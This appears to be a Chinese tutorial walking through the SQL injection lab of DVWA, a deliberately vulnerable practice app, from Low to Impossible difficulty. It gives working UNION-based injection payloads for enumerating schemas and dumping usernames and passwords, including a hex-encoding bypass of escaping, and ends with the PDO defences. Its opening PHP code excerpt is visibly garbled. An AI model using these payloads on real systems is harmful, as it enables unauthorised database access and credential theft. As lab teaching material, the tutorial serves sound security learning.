普通注入
1、Low级别
1.1、代码分析
查看前端代码:发现是一个form表单,有id和submit两个参数,并且以GET方式提交。
查看后端PHP代码:
- isset( $_REQUEST[ ‘Submit’ ] ) // 判断Submit变量是否存在
- $id = R E Q U E S T [ ′ i d ′ ] / / 获取 i d 变量的值并赋值给变量 _REQUEST[ 'id' ] // 获取id变量的值并赋值给变量 REQUEST[′id′]//获取id变量的值并赋值给变量id
- q u e r y = " S E L E C T f i r s t n a m e , l a s t n a m e F R O M u s e r s W H E R E u s e r i d = ′ query = "SELECT first_name, last_name FROM users WHERE user_id = ' query="SELECTfirstname,lastnameFROMusersWHEREuserid=′id’;" //将查询语句字符串赋值给变量$query
-
r
e
s
u
l
t
=
m
y
s
q
l
i
q
u
e
r
y
(
result = mysqli_query(
result=mysqliquery(GLOBALS[“___mysqli_ston”],
q
u
e
r
y
)
o
r
d
i
e
(
′
<
p
r
e
>
′
.
(
(
i
s
o
b
j
e
c
t
(
query ) or die( '<pre>' . ((is_object(
query)ordie(′<pre>′.((isobject(GLOBALS[“___mysqli_ston”]))…
//执行查询语句,若出错则会输出错误信息。返回的结果集赋值给变量$result
将结果集中first_name和last_name字段的值分别赋值给变量
f
i
r
s
t
和变量
first和变量
first和变量last,并打印输出。
1.2、Poc
输入单引号查询,页面报错,判断存在SQL注入。
如何判断是字符型还是数值型的方法,参考此链接:sql注入_字符型、数字型判断
输入1查询出的用户为admin,输入1+2查询出的用户还是admin,判断是字符型SQL注入。
或者
输入1 and 1=2 页面回显正常,判断是字符型SQL注入。
1.3、注入流程
1.3.1、猜字段数
1’ order by 1# 和 1’ order by 2# 回显正常,1’ order by 3# 报错,由此得到字段数目为2。使用#是注释掉后面那个单引号。
1.3.2、判断可显示字段
通过联合查询判断哪些字段可以显示出来:’ union select 1,2#
可以看到字段1和字段2都可以被显示出来
1.3.3、利用MySQL内置函数查询用户名和数据库名
输入:’ union select user(),database()#
得到当前用户名为root@localhost,数据库名为dvwa。
1.3.4、利用information_schema查询数据库名、表名、字段名
information_schema的三个表 SCHEMA,TABLES,COLUMNS 分别记录有系统上的数据库名,各个数据库的表名,各个表里面的字段名
这里需要先改一下dvwa数据库的排序规则,要和information_schema数据库的一致才行,即由 utf8_unicode_ci 改为 utf8_general_ci
具体操作为:phpMyAdmin - dvwa - 操作 - 排序规则 - 改为utf8_general_ci
获取全部数据库名称信息:’ union select 1,SHCEMA_NAME from information_schema.SCHEMA #
补充,这里我出现报错信息:Illegal mix of collations for operation ‘UNION’,解决办法参考此链接:sql注入时union出错(Illegal mix of collations for operation UNION)
可以看到有4个数据库,分别为information_schema,dvwa,mysql,performance_schema,sys,我们接着对名为dvwa的数据库进行SQL注入。
获取表名:’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘dvwa’ #
可以看到dvwa数据库有两个表,分别为guestbook,users,很明显用户名和密码是在users表里面,我们继续对users表SQL注入。
获取字段名:'union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘users’ #
可以看到有许多字段,其中user和password正是我们需要的。
这里可以用group_concat()函数,使返回的结果更加醒目:‘union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = ‘users’ #
或者使用limit限制输出个数:’ union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘users’ limit 0,1 #
最后爆出用户名和密码:’ union select user,password from users#
2、Medium级别
2.1、代码分析
通过分析前后端代码发现,Medium等级和Low等级的区别在于:
- Medium等级的表单通过POST方式提交,所以我们需要使用BurpSuite进行抓包。
- 在Medium级别的PHP代码里面,出现了mysqli_real_escape_string()函数,该函数的作用是转义 SQL 语句字符串中的特殊字符,如单引号【'】,双引号【"】,反斜杠【\】,百分号【%】、空字符【null】等等,转义的方式是在这些特殊字符前加上一个反斜杠【\】。
- SQL语句中的变量$id是数值型,采取数值型的注入。
1.2、Poc
-
输入单引号查询,页面报错,判断存在SQL注入。
-
输入1 and 1=2,页面回显错误,判断存在数值型SQL注入。
1.3、注入流程
1.3.1、猜字段数和判断回显点和Low级别基本无差异,且不用考虑闭合单引号的问题,不做多的解释
1.3.2、利用MySQL内置函数查询用户名和数据库名,且不用考虑闭合单引号的问题,不做多的解释
1.3.3、利用information_schema爆出表名、字段名
爆表名:
union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x64767761
因为 mysqli_real_escape_string() 函数会转义单引号,所以使用 16进制 进行绕过,dvwa 的16进制表示为 0x64767761
爆字段名:
union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273
同样,因为 mysqli_real_escape_string() 函数会转义单引号,所以使用 16进制 进行绕过,users 的16进制表示为 0x7573657273
1.3.4、爆用户名、密码
union select user,password from users
3、High级别
High级别是在新的页面输入内容,查看源码发现只是比Low级别多了个 limit 1 来限制只输出一条,其他和Low级别一样。
而且查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
4、Impossible级别
我们可以看到代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入。
Check Anti-CSRF token部分:
防止CSRF攻击,Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位
Was a number entered?部分:
is_numeric() 函数用于检测变量是否为数字或数字字符串。
$data = $db->prepare预编译sql语句,能防止sql注入。
Make sure only 1 result is returned部分:
$data->rowCount() == 1限制了只返回一条语句。